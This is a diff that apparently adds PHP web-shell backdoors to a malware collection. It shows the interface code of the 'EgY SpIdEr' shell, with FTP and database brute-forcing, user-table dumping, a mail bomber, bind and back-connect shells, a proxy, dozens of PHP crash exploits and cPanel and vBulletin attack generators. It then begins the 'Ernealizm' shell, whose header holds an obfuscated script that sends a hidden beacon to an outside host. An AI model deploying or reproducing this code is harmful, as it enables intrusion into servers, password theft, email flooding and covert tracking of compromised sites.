sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_5_2_3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; + + +{ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} + + +{ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts; +echo "<tr><td valign=top width=50%>".$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile5',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile6',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile7',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile8',35,'')); +echo $te."</td><td valign=top width=50%>".$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile9',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile10',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile11',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile12',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile13',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile14',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile15',35,'')); +echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te."</td></tr>"; +echo $te.'</div>'.$table_end1.$fe; +} + + +{ + echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts; + echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>",$select_downloaders.in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); + echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir.'/download.file').ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); + echo $te.'</div>'.$table_end1.$fe; +} + +echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts; +echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); +echo $te.'</div>'.$table_end1.$fe; + +{ +echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts; + +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir)); +echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>"); +echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']); +echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root")))); +echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic')))); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("egy_spider@hotmail.com")))); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir)); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("egy_spider@hotmail.com")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir)); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option value=FTP_BINARY>FTP_BINARY</option><option value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); + +echo $te."</td>".$fe."</tr></div></table>"; +} + + +{ +echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."<tr>".$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("egy_spider@hotmail.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello EgY SpIdEr")))); +echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("egy_spider@hotmail.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("file from egy spider shell")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',30,$dir)); +echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text139']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("egy_spider@hotmail.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello EgY SpIdEr")))); +echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("flood text here")).'</textarea>'); +echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10))); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); + +echo $te."</td>".$fe."</tr></div></table>"; +} + + +{ +$select = '<select name=db>'; +if($mysql_on) $select .= '<option value=MySQL>MySQL</option>'; +if($mssql_on) $select .= '<option value=MSSQL>MSSQL</option>'; +if($pg_on) $select .= '<option value=PostgreSQL>PostgreSQL</option>'; +if($ora_on) $select .= '<option value=Oracle>Oracle</option>'; +if($mysqli_on) $select .= '<option value=MySQLi>MySQLi</option>'; +if($msql_on) $select .= '<option value=mSQL>mSQL</option>'; +if($sqlite_on) $select .= '<option value=SQLite>SQLite</option>'; +$select .= '</select>'; + +echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up3.div('id36').$ts."<tr>".$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text134']."</div></b></font>"; + +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute')); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("")))); +echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>"); +echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']); +echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']); +echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic')))); +echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>"; + +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; + +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSHOW TABLES;\nSELECT * FROM user;\nSELECT version();\nSELECT user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div>"; + +echo "</td>".$fe."</tr></div></table>"; +} + + +{ +echo $table_up1.div_title($lang[$language.'_text81'],'id555555').$table_up2.div('id555555').$ts."<tr>".$fs."<td valign=top width=25%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',10,'11457')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',10,'r57')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',10,'11457')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',10,'irc.dalnet.ru')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',10,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>Proxy</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +echo $table_up1.div_title($lang[$language.'_text81'],'id5525555').$table_up2.div('id5525555').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port1',35,'9999').ws(4).in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe."</tr></div></table>"; + +echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."<tr><td valign=top width=25%>".$ts; +echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; +echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit [pack()]').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF [unserialize()]').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'BoF ZendEngine').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [dl()] vuln').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [preg_match()](PHP<5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Mem_limit [str_repeat()](PHP<5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload [tempnam()](PHP<5.1.2)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF [wordwrap()](PHP<5.1.2)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF [array_fill()](PHP<5.1.2)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF [substr_compare()](PHP<5.1.2)').$fe); +echo $te."</td><td valign=top width=25%>".$ts; +echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; +echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Arr. Cr. 64b[unserialize()](PHP<5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF [str_ireplace()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF [htmlentities()](PHP<5.1.6,4.4.4)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'BoF [zip_entry_read()](PHP<4.4.5)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF [sqlite_udf_decode_binary()](PHP<5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'BoF [msg_receive()](PHP<5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'BoF [php_stream_filter_create()](PHP5<5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'BoF [unserialize()](PHP<4.4.4)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos21').in('submit','submit',0,'BoF [gdImageCreateTrueColor()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos22').in('submit','submit',0,'BoF [gdImageCopyResized()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos23').in('submit','submit',0,'DoS [iconv_substr()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos24').in('submit','submit',0,'DoS [setlocale()](PHP<5.2.x)').$fe); +echo $te."</td><td valign=top width=25%>".$ts; +echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; +echo sr(10,"",$fs.in('hidden','cmd',0,'dos25').in('submit','submit',0,'DoS [glob()] 1 (PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos26').in('submit','submit',0,'DoS [glob()] 2 (PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos27').in('submit','submit',0,'DoS [fnmatch()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos28').in('submit','submit',0,'BoF [imagepsloadfont()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos29').in('submit','submit',0,'BoF mSQL [msql_connect](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos30').in('submit','submit',0,'BoF [chunk_split()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos31').in('submit','submit',0,'BoF [php_win32sti.dl](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos32').in('submit','submit',0,'BoF [php_iisfunc.dll](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos33').in('submit','submit',0,'BoF [ntuser_getuserlist()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos34').in('submit','submit',0,'DoS [com_print_typeinfo()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos35').in('submit','submit',0,'BoF [iconv()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos36').in('submit','submit',0,'BoF [iconv_m_d_headers()](PHP<5.2.x)').$fe); +echo $te."</td><td valign=top width=25%>".$ts; +echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; +echo sr(10,"",$fs.in('hidden','cmd',0,'dos37').in('submit','submit',0,'BoF [iconv_mime_decode()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos38').in('submit','submit',0,'BoF [iconv_strlen()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos39').in('submit','submit',0,'BoF [printf()](PHP<5.2.5) and prior').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos40').in('submit','submit',0,'BoF [mssql_connect(), mssql_pconnect()](PHP<4.4.6) and prior').$fe); +/*echo sr(10,"",$fs.in('hidden','cmd',0,'dos').in('submit','submit',0,'BoF [()](PHP<5.2.x)').$fe);*/ +echo $te."</td></tr></div></table>"; +echo $fs.$table_up1.div_title($lang[$language.'_text211'],'id11111').$table_up2.div('id11111').$ts; +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text213']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','htacces',10,'.htaccess').ws(4).in('submit','submit',0,$lang[$language.'_butt65'])); +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text218']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','egy_ini',10,'ini.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65'])); +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text228']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','egy_vb',10,'vb_hacker.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65'])); +echo "<font face=tahoma size=-2><b><div align=center id='n'>".$lang[$language.'_text230']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>",in('text','egy_cp',10,'pass_cpanel.php').ws(4).in('submit','submit',0,$lang[$language.'_butt65'])); +echo $te.'</div>'.$table_end1.$fe; +{ + + + +echo $te."</td>".$fe."</tr></div></table>"; +} + +echo $te."</td></tr></div></table>"; +echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=tahoma size=-2><b>o---[ EgY_SpIdEr | </a> | <a egy_spider@hotmail.com>egy_spider@hotmail.com</a> developer by EgY SpIdEr ]---o</b></font></div></td></tr></table>"; +echo '</body></html>'; +?> diff --git a/web-malware-collection-master/Backdoors/PHP/erne.txt b/web-malware-collection-master/Backdoors/PHP/erne.txt new file mode 100755 index 0000000..eab9dac --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/erne.txt @@ -0,0 +1,1455 @@ +<html><head><title>Ernealizm - Edited By KingDefacer</title><script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script><body bgcolor="#000000"><table Width='100%' height='10%' bgcolor='#000000' border='1'> +<tr><td><center><font size="4" color="#FFFFFF"><span style="background-color: #000000">ErNe Safe Mode Bypass - Edited By KingDefacer</span> +</font></center></td></tr></table> +<style type="text/css"> +body,td { + font-family: "Tahoma"; + font-size: "12px"; + line-height: "150%"; +} +.smlfont { + font-family: "Tahoma"; + font-size: "11px"; +} +.INPUT { + FONT-SIZE: "12px"; + COLOR: "#000000"; + BACKGROUND-COLOR: "#FFFFFF"; + height: "18px"; + border: 1px solid #666666 none; + padding-left: "2px" +} +.redfont { + COLOR: "#D0D0D0"; +} +a:link,a:visited,a:active { + color: "#9C9C9C"; + text-decoration: underline; +} +a:hover { + color: "#FFFFFF"; + text-decoration: none; +} +.top {BACKGROUND-COLOR: "#D0D0D0"} +.firstalt {BACKGROUND-COLOR: "#000000"} +.secondalt {BACKGROUND-COLOR: "#000000"} +</style> +<SCRIPT language=JavaScript> +function CheckAll(form) { + for (var i=0;i<form.elements.length;i++) { + var e = form.elements[i]; + if (e.name != 'chkall') + e.checked = form.chkall.checked; + } +} +function really(d,f,m,t) { + if (confirm(m)) { + if (t == 1) { + window.location.href='?dir='+d+'&deldir='+f; + } else { + window.location.href='?dir='+d+'&delfile='+f; + } + } +} +</SCRIPT></head><body><center> +<hr width="775" noshade><table width="775" border="0" cellpadding="0"> +<?PHP + +error_reporting(7); +ob_start(); +$mtime = explode(' ', microtime()); +$starttime = $mtime[1] + $mtime[0]; +$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : 